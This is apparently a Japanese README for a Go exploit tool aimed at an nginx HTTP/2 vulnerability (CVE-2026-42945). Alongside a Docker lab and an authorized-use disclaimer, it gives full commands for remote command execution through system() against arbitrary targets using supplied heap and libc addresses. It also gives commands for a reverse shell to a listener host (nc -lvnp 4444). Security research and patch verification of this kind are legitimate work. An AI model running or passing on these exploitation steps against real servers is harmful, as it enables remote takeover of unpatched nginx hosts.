
GoベースのCVE-2026-42945(nginx HTTP/2)向けエクスプロイトツール。検出、クラッシュプローブ、コマンド実行、リバースシェル機能を備え、許可されたセキュリティテスト用に設計されています。
中文 | English
nginx HTTP/2 実装(CVE-2026-42945) に対する探索・悪用補助ツールで、認可された環境で脆弱性の有無を確認し、修正効果と比較し、制御された実験環境でPoCの動作を再現するためのものです。
影響を受けるバージョン(おおよその判断):nginx 0.6.27 – 1.30.0;1.30.1+ / 1.31.0+ は修正済み。
このリポジトリは、セキュリティ研究、脆弱性確認、防御テスト専用です。
上記の条項に同意できない場合は、直ちに使用を中止し、このリポジトリを削除してください。
| モード | 説明 |
|---|
-check-only | 接続性、Serverヘッダ、バージョンおおよその判断、PoCエンドポイント探索 |
-probe-crash | 1回のオーバーフロー探索を送信し、ワーカークラッシュのサイドチャネルで判断 |
-cmd | エクスプロイトペイロードを構築し、system() 経由で指定コマンドを実行 |
-shell | リバースシェル(-lhost が必要、ローカル側で nc が必要) |
-docker | ローカルDocker実験環境(vuln / fixed)を一括テスト |
go.mod 参照)make、golangci-lint(開発/コードチェック)GET /api/、POST /spray など)を公開している必要があります。Docker実験イメージには組み込み済み。| 項目 | 説明 |
|---|---|
| プロトコル | 平文HTTPのみ(net.Dial + 生のHTTPバイト)、HTTPS/TLSは非対応。-port 443 などのTLSポートには、事前にTLS終端を行うか、HTTPポートを使用してください。 |
| Docker実験 | イメージは linux/amd64 で、初回 docker compose build ではnginxをソースからコンパイルするため時間がかかります。コンテナ内では setarch -R でASLRを無効にしており、本番環境とは大きく異なります。 |
| Apple Silicon | ローカルDockerは platform: linux/amd64 でエミュレーション実行されるため、速度が遅くなります。 |
| リバースシェル | -shell はシステムの nc に依存します。Windowsでは手動でリスナーを立てることを推奨します。 |
| 悪用判定 | サイドチャネル(ワーカークラッシュ)はRCEと同義ではありません。コマンドの副作用を独立して検証する必要があります。 |
# クイックビルド(bin/ に出力、.gitignore により無視)
make build-cmd
# または直接 go を使用
go build -o ./bin/cve-2026-42945 ./cmd
# 埋め込みバージョンを表示
./bin/cve-2026-42945 -version
リリース版バイナリ: Releases から該当プラットフォームの cve-2026-42945-<os>-<arch> をダウンロード(v* タグをプッシュ後、GitHub Actions が自動ビルド)。
-target string ターゲットIP/ホスト名(デフォルト 127.0.0.1)
-port int ターゲットポート(0=80;Docker 脆弱版では 19321 をよく使用)
-docker ローカルDocker実験環境をテスト(vuln:19321, fixed:19331)
-check-only プローブのみ、エクスプロイトトラフィックは送信しない
-probe-crash オーバーフロー探索 + ワーカークラッシュサイドチャネル
-cmd string system() 経由で実行するコマンド
-shell リバースシェル(-lhost が必要)
-lhost string リバースシェル ローカルIP
-lport int リバースシェル ローカルポート(デフォルト 4444)
-docker-profile deploy/docker の実測ヒープ/libcベースアドレスを使用
-heap-base string ヒープベースアドレス(16進数、例 0x555555659000)
-libc-base string libcベースアドレス(16進数)
-tries int 各ヒープ候補の試行回数(デフォルト 10)
-timeout int 単一HTTPのタイムアウト秒数(デフォルト 5)
-v 詳細出力
-version バージョン表示後に終了
-dockerモードは-cmd/-shellと同時に使用できません。単一ターゲットの悪用には-port 19321を指定してください。
./bin/cve-2026-42945 -target 192.168.1.10 -port 80 -check-only
./bin/cve-2026-42945 -port 19321 -probe-crash -v
まず実験コンテナを起動:
make docker-up
# または
docker compose -f deploy/docker-compose.yml up -d --build
初回ビルドはnginxのコンパイルが必要なため、数分かかる場合があります。
docker compose psでサービスがhealthyになった後にmake test-labを実行してください。
| サービス | ポート | 説明 |
|---|---|---|
| vuln | 19321 | nginx 1.30.0(影響あり) |
| fixed | 19331 | nginx 1.30.1(修正済み) |
一括探索:
./bin/cve-2026-42945 -docker -check-only
./bin/cve-2026-42945 -docker -probe-crash
またはMakefileのショートカットターゲットを使用:
make test-lab # check + probe
make cmd-exploit # vulnに /tmp/pwned を書き込み、検証コマンドを表示
実験コンテナは ASLR無効(setarch -R)かつ -docker-profile でベースアドレスを事前設定している場合に成功率が最も高くなります:
./bin/cve-2026-42945 -port 19321 -docker-profile \
-cmd 'echo pwned > /tmp/pwned' -v
# ファイルが書き込まれたか確認
docker exec nginx-rift-vuln-1.30.0 cat /tmp/pwned
# 端末1:ツールを起動(バックグラウンドでncリスナーを試行)
./bin/cve-2026-42945 -port 19321 -docker-profile -shell -lhost 10.0.0.5 -lport 4444 -v
# ncが見つからない場合は、別端末で手動リスナーを起動:
nc -lvnp 4444
実ターゲットのASLRやlibcバージョンがDockerと異なる場合、ベースアドレスを自らリークまたは推測する必要があります:
# ターゲットは平文HTTPポート(TLS不可)であること
./bin/cve-2026-42945 -target TARGET -port 8080 \
-heap-base 0x555555659000 \
-libc-base 0x7ffff77ba000 \
-cmd 'id' -tries 20 -v
[+] サイドチャネル: ワーカー異常:ワーカーがオーバーフローによりクラッシュした可能性があることを示すのみで、単独でRCE成功の根拠にはなりません。docker exec など)を確認してください。cmd/ メインプログラムエントリ
internal/rift/ 探索、ペイロード構築、悪用ロジック
deploy/docker/ nginx 1.30.0 / 1.30.1 実験イメージ
deploy/docker-compose.yml
.github/workflows/ マルチプラットフォームリリースビルド
make help # すべてのmakeターゲットを表示
make test # ユニットテスト
make lint # golangci-lint
make version # 現在のビルドバージョン番号を表示
新バージョンのリリース:
git tag v1.0.0
git push origin v1.0.0
テストする権限があるシステムでのみ本ツールを使用してください。 いかなる悪用行為も作者とは無関係です。